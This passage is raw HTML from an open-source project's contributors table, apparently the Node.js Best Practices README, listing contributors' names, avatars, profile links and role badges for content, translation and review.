href=\"https://github.com/marcelosdm\"><img src=\"https://avatars0.githubusercontent.com/u/18266600?v=4\" width=\"100px;\" alt=\"Marcelo Melo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Marcelo Melo</b></sub></a><br /><a href=\"#content-marcelosdm\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/mperk_\"><img src=\"https://avatars0.githubusercontent.com/u/3465794?v=4\" width=\"100px;\" alt=\"Mehmet Perk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mehmet Perk</b></sub></a><br /><a href=\"#content-mperk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ryanouyang\"><img src=\"https://avatars2.githubusercontent.com/u/360426?v=4\" width=\"100px;\" alt=\"ryan ouyang\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ryan ouyang</b></sub></a><br /><a href=\"#content-ryanouyang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shabeer-mdy\"><img src=\"https://avatars0.githubusercontent.com/u/26842535?v=4\" width=\"100px;\" alt=\"Shabeer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shabeer</b></sub></a><br /><a href=\"#content-shabeer-mdy\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/halfzebra\"><img src=\"https://avatars1.githubusercontent.com/u/3983879?v=4\" width=\"100px;\" alt=\"Eduard Kyvenko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Eduard Kyvenko</b></sub></a><br /><a href=\"#content-halfzebra\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://deyvisonrocha.com\"><img src=\"https://avatars2.githubusercontent.com/u/686067?v=4\" width=\"100px;\" alt=\"Deyvison Rocha\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Deyvison Rocha</b></sub></a><br /><a href=\"#content-deyvisonrocha\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://twitter.com/georgemamer\"><img src=\"https://avatars1.githubusercontent.com/u/20108934?v=4\" width=\"100px;\" alt=\"George Mamer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>George Mamer</b></sub></a><br /><a href=\"#content-georgem3\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/leimonio\"><img src=\"https://avatars0.githubusercontent.com/u/1969742?v=4\" width=\"100px;\" alt=\"Konstantinos Leimonis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Konstantinos Leimonis</b></sub></a><br /><a href=\"#content-leimonio\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Zybax\"><img src=\"https://avatars3.githubusercontent.com/u/22094453?v=4\" width=\"100px;\" alt=\"Oliver Lluberes\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Oliver Lluberes</b></sub></a><br /><a href=\"#translation-Zybax\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://stackoverflow.com/story/tiendq\"><img src=\"https://avatars2.githubusercontent.com/u/815910?v=4\" width=\"100px;\" alt=\"Tien Do\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tien Do</b></sub></a><br /><a href=\"#content-tiendq\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://singh1114.github.io/\"><img src=\"https://avatars0.githubusercontent.com/u/11356398?v=4\" width=\"100px;\" alt=\"Ranvir Singh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ranvir Singh</b></sub></a><br /><a href=\"#content-singh1114\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/collierrgbsitisfise\"><img src=\"https://avatars3.githubusercontent.com/u/13496126?v=4\" width=\"100px;\" alt=\"Vadim Nicolaev\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vadim Nicolaev</b></sub></a><br /><a href=\"#content-collierrgbsitisfise\" title=\"Content\">🖋</a> <a href=\"#translation-collierrgbsitisfise\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/germangamboa95\"><img src=\"https://avatars3.githubusercontent.com/u/28633849?v=4\" width=\"100px;\" alt=\"German Gamboa Gonzalez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>German Gamboa Gonzalez</b></sub></a><br /><a href=\"#content-germangamboa95\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/AbdelrahmanHafez\"><img src=\"https://avatars3.githubusercontent.com/u/19984935?v=4\" width=\"100px;\" alt=\"Hafez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hafez</b></sub></a><br /><a href=\"#content-AbdelrahmanHafez\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://linkedin.com/in/chandiran-dmc\"><img src=\"https://avatars3.githubusercontent.com/u/42678579?v=4\" width=\"100px;\" alt=\"Chandiran\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Chandiran</b></sub></a><br /><a href=\"#content-chandiran-dmc\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/VinayaSathyanarayana\"><img src=\"https://avatars2.githubusercontent.com/u/16976677?v=4\" width=\"100px;\" alt=\"VinayaSathyanarayana\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>VinayaSathyanarayana</b></sub></a><br /><a href=\"#content-VinayaSathyanarayana\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.kimkern.de\"><img src=\"https://avatars1.githubusercontent.com/u/2671139?v=4\" width=\"100px;\" alt=\"Kim Kern\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kim Kern</b></sub></a><br /><a href=\"#content-kiwikern\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://kennethfreitas.github.io/\"><img src=\"https://avatars2.githubusercontent.com/u/55669043?v=4\" width=\"100px;\" alt=\"Kenneth Freitas\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kenneth Freitas</b></sub></a><br /><a href=\"#content-kennethfreitas\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/songe\"><img src=\"https://avatars2.githubusercontent.com/u/1531561?v=4\" width=\"100px;\" alt=\"songe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>songe</b></sub></a><br /><a href=\"#content-songe\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ksed.dev\"><img src=\"https://avatars1.githubusercontent.com/u/30693707?v=4\" width=\"100px;\" alt=\"Kirill Shekhovtsov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kirill Shekhovtsov</b></sub></a><br /><a href=\"#content-Ksedline\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/SerzN1\"><img src=\"https://avatars0.githubusercontent.com/u/2534649?v=4\" width=\"100px;\" alt=\"Serge\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Serge</b></sub></a><br /><a href=\"#content-SerzN1\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/keyrwinz\"><img src=\"https://avatars3.githubusercontent.com/u/21241761?v=4\" width=\"100px;\" alt=\"keyrwinz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>keyrwinz</b></sub></a><br /><a href=\"#content-keyrwinz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/nDmitry\"><img src=\"https://avatars0.githubusercontent.com/u/2134568?v=4\" width=\"100px;\" alt=\"Dmitry Nikitenko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dmitry Nikitenko</b></sub></a><br /><a href=\"#content-nDmitry\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bushuai.cc\"><img src=\"https://avatars0.githubusercontent.com/u/1875256?v=4\" width=\"100px;\" alt=\"bushuai\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>bushuai</b></sub></a><br /><a href=\"https://github.com/goldbergyoni/nodebestpractices/pulls?q=is%3Apr+reviewed-by%3Abushuai\" title=\"Reviewed Pull Requests\">👀</a> <a href=\"#content-bushuai\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://stackoverflow.com/users/1348195/benjamin-gruenbaum\"><img src=\"https://avatars2.githubusercontent.com/u/1315533?v=4\" width=\"100px;\" alt=\"Benjamin Gruenbaum\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin Gruenbaum</b></sub></a><br /><a href=\"#content-benjamingr\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/byeze\"><img src=\"https://avatars1.githubusercontent.com/u/7424138?v=4\" width=\"100px;\" alt=\"Ezequiel\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ezequiel</b></sub></a><br /><a href=\"#translation-byeze\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/juaoose\"><img src=\"https://avatars3.githubusercontent.com/u/994594?v=4\" width=\"100px;\" alt=\"Juan José Rodríguez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Juan José Rodríguez</b></sub></a><br /><a href=\"#translation-juaoose\" title=\"Translation\">🌍</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/OrBin\"><img src=\"https://avatars1.githubusercontent.com/u/6897234?v=4\" width=\"100px;\" alt=\"Or Bin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Or Bin</b></sub></a><br /><a href=\"#content-OrBin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/andreoav07\"><img src=\"https://avatars2.githubusercontent.com/u/508827?v=4\" width=\"100px;\" alt=\"Andreo Vieira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Andreo Vieira</b></sub></a><br /><a href=\"#content-andreoav\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mikicho\"><img src=\"https://avatars1.githubusercontent.com/u/11459632?v=4\" width=\"100px;\" alt=\"Michael Solomon\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michael Solomon</b></sub></a><br /><a href=\"#content-mikicho\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jimmycallin\"><img src=\"https://avatars0.githubusercontent.com/u/2225828?v=4\" width=\"100px;\" alt=\"Jimmy Callin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jimmy Callin</b></sub></a><br /><a href=\"#content-jimmycallin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/siddharthofficial/\"><img src=\"https://avatars2.githubusercontent.com/u/26025955?v=4\" width=\"100px;\" alt=\"Siddharth\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Siddharth</b></sub></a><br /><a href=\"#content-w01fS\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://ryansmith.tech/\"><img src=\"https://avatars0.githubusercontent.com/u/1578766?v=4\" width=\"100px;\" alt=\"Ryan Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ryan Smith</b></sub></a><br /><a href=\"#content-ryan3E0\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://de.linkedin.com/in/tom-boettger\"><img src=\"https://avatars2.githubusercontent.com/u/49961674?v=4\" width=\"100px;\" alt=\"Tom Boettger\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tom Boettger</b></sub></a><br /><a href=\"#content-bttger\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jormaechea\"><img src=\"https://avatars3.githubusercontent.com/u/5612500?v=4\" width=\"100px;\" alt=\"Joaquín Ormaechea\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Joaquín Ormaechea</b></sub></a><br /><a href=\"#translation-jormaechea\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dfrzuz\"><img src=\"https://avatars3.githubusercontent.com/u/71859096?v=4\" width=\"100px;\" alt=\"dfrzuz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>dfrzuz</b></sub></a><br /><a href=\"#translation-dfrzuz\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/victor-homyakov\"><img src=\"https://avatars1.githubusercontent.com/u/121449?v=4\" width=\"100px;\" alt=\"Victor Homyakov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Victor Homyakov</b></sub></a><br /><a href=\"#content-victor-homyakov\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://joshuahemphill.com\"><img src=\"https://avatars3.githubusercontent.com/u/46608115?v=4\" width=\"100px;\" alt=\"Josh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Josh</b></sub></a><br /><a href=\"#content-josh-hemphill\" title=\"Content\">🖋</a> <a href=\"#security-josh-hemphill\" title=\"Security\">🛡️</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/alec-francis\"><img src=\"https://avatars2.githubusercontent.com/u/32949882?v=4\" width=\"100px;\" alt=\"Alec Francis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alec Francis</b></sub></a><br /><a href=\"#content-alec-francis\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/arjun6610\"><img src=\"https://avatars1.githubusercontent.com/u/61268891?v=4\" width=\"100px;\" alt=\"arjun6610\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>arjun6610</b></sub></a><br /><a href=\"#content-arjun6610\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jan-osch\"><img src=\"https://avatars2.githubusercontent.com/u/11651780?v=4\" width=\"100px;\" alt=\"Jan Osch\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jan Osch</b></sub></a><br /><a href=\"#content-jan-osch\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/thiagotrs\"><img src=\"https://avatars2.githubusercontent.com/u/32005779?v=4\" width=\"100px;\" alt=\"Thiago Rotondo Sampaio\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Thiago Rotondo Sampaio</b></sub></a><br /><a href=\"#translation-thiagotrs\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Alexsey\"><img src=\"https://avatars0.githubusercontent.com/u/6392013?v=4\" width=\"100px;\" alt=\"Alexsey\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alexsey</b></sub></a><br /><a href=\"#content-Alexsey\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/13luismb\"><img src=\"https://avatars1.githubusercontent.com/u/32210483?v=4\" width=\"100px;\" alt=\"Luis A. Acurero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Luis A. Acurero</b></sub></a><br /><a href=\"#translation-13luismb\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://lromano97.github.io/\"><img src=\"https://avatars1.githubusercontent.com/u/22394847?v=4\" width=\"100px;\" alt=\"Lucas Romano\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lucas Romano</b></sub></a><br /><a href=\"#translation-lromano97\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/denisecase\"><img src=\"https://avatars0.githubusercontent.com/u/13016516?v=4\" width=\"100px;\" alt=\"Denise Case\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Denise Case</b></sub></a><br /><a href=\"#content-denisecase\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://stackoverflow.com/story/elektronik\"><img src=\"https://avatars3.githubusercontent.com/u/1078554?v=4\" width=\"100px;\" alt=\"Nick Ribal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nick Ribal</b></sub></a><br /><a href=\"#content-elektronik2k5\" title=\"Content\">🖋</a> <a href=\"https://github.com/goldbergyoni/nodebestpractices/pulls?q=is%3Apr+reviewed-by%3Aelektronik2k5\" title=\"Reviewed Pull Requests\">👀</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/0xflotus\"><img src=\"https://avatars3.githubusercontent.com/u/26602940?v=4\" width=\"100px;\" alt=\"0xflotus\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>0xflotus</b></sub></a><br /><a href=\"#content-0xflotus\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.dijonkitchen.org/\"><img src=\"https://avatars3.githubusercontent.com/u/11434205?v=4\" width=\"100px;\" alt=\"Jonathan Chen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jonathan Chen</b></sub></a><br /><a href=\"#content-dijonkitchen\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dilansri\"><img src=\"https://avatars2.githubusercontent.com/u/5089728?v=4\" width=\"100px;\" alt=\"Dilan Srilal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dilan Srilal</b></sub></a><br /><a href=\"#content-dilansri\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://vectree.ru\"><img src=\"https://avatars3.githubusercontent.com/u/4215285?v=4\" width=\"100px;\" alt=\"vladthelittleone\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>vladthelittleone</b></sub></a><br /><a href=\"#translation-vladthelittleone\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.nikolaso.com\"><img src=\"https://avatars0.githubusercontent.com/u/60047271?v=4\" width=\"100px;\" alt=\"Nik Osvalds\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nik Osvalds</b></sub></a><br /><a href=\"#content-nosvalds\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kdaniel21\"><img src=\"https://avatars0.githubusercontent.com/u/39854385?v=4\" width=\"100px;\" alt=\"Daniel Kiss\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Daniel Kiss</b></sub></a><br /><a href=\"https://github.com/goldbergyoni/nodebestpractices/commits?author=kdaniel21\" title=\"Documentation\">📖</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/forresst17\"><img src=\"https://avatars2.githubusercontent.com/u/163352?v=4\" width=\"100px;\" alt=\"Forresst\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Forresst</b></sub></a><br /><a href=\"#content-forresst\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/svenheden\"><img src=\"https://avatars1.githubusercontent.com/u/76098?v=4\" width=\"100px;\" alt=\"Jonathan Svenheden\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jonathan Svenheden</b></sub></a><br /><a href=\"#content-svenheden\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/AustrisC\"><img src=\"https://avatars2.githubusercontent.com/u/12381652?v=4\" width=\"100px;\" alt=\"AustrisC\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>AustrisC</b></sub></a><br /><a href=\"#content-AustrisC\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/cisco0808\"><img src=\"https://avatars0.githubusercontent.com/u/60251188?v=4\" width=\"100px;\" alt=\"kyeongtae kim\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>kyeongtae kim</b></sub></a><br /><a href=\"#translation-cisco0808\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://keybase.io/651z9pz968v2accj\"><img src=\"https://avatars.githubusercontent.com/u/65741741?v=4\" width=\"100px;\" alt=\"007\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>007</b></sub></a><br /><a href=\"#content-6gx7iycn53ioq2e8apk1j1ypwov4giui\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.anediaz.com\"><img src=\"https://avatars.githubusercontent.com/u/17216937?v=4\" width=\"100px;\" alt=\"Ane Diaz de Tuesta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ane Diaz de Tuesta</b></sub></a><br /><a href=\"#translation-anediaz\" title=\"Translation\">🌍</a> <a href=\"#content-anediaz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://yukioh.net\"><img src=\"https://avatars.githubusercontent.com/u/23182489?v=4\" width=\"100px;\" alt=\"YukiOta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>YukiOta</b></sub></a><br /><a href=\"#translation-YukiOta\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.yeovilhospital.co.uk/\"><img src=\"https://avatars.githubusercontent.com/u/43814140?v=4\" width=\"100px;\" alt=\"Frazer Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Frazer Smith</b></sub></a><br /><a href=\"#content-Fdawgs\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/rluvaton\"><img src=\"https://avatars.githubusercontent.com/u/16746759?v=4\" width=\"100px;\" alt=\"Raz Luvaton\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Raz Luvaton</b></sub></a><br /><a href=\"#content-rluvaton\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/YA21\"><img src=\"https://avatars.githubusercontent.com/u/37298463?v=4\" width=\"100px;\" alt=\"Yuta Azumi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yuta Azumi</b></sub></a><br /><a href=\"#content-YA21\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/andrewjbarbour\"><img src=\"https://avatars.githubusercontent.com/u/77080074?v=4\" width=\"100px;\" alt=\"andrewjbarbour\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>andrewjbarbour</b></sub></a><br /><a href=\"#content-andrewjbarbour\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://MasujimaRyohei.jp\"><img src=\"https://avatars.githubusercontent.com/u/17163541?v=4\" width=\"100px;\" alt=\"mr\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>mr</b></sub></a><br /><a href=\"#content-MasujimaRyohei\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kubanac95\"><img src=\"https://avatars.githubusercontent.com/u/16191931?v=4\" width=\"100px;\" alt=\"Aleksandar\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Aleksandar</b></sub></a><br /><a href=\"#content-kubanac95\" 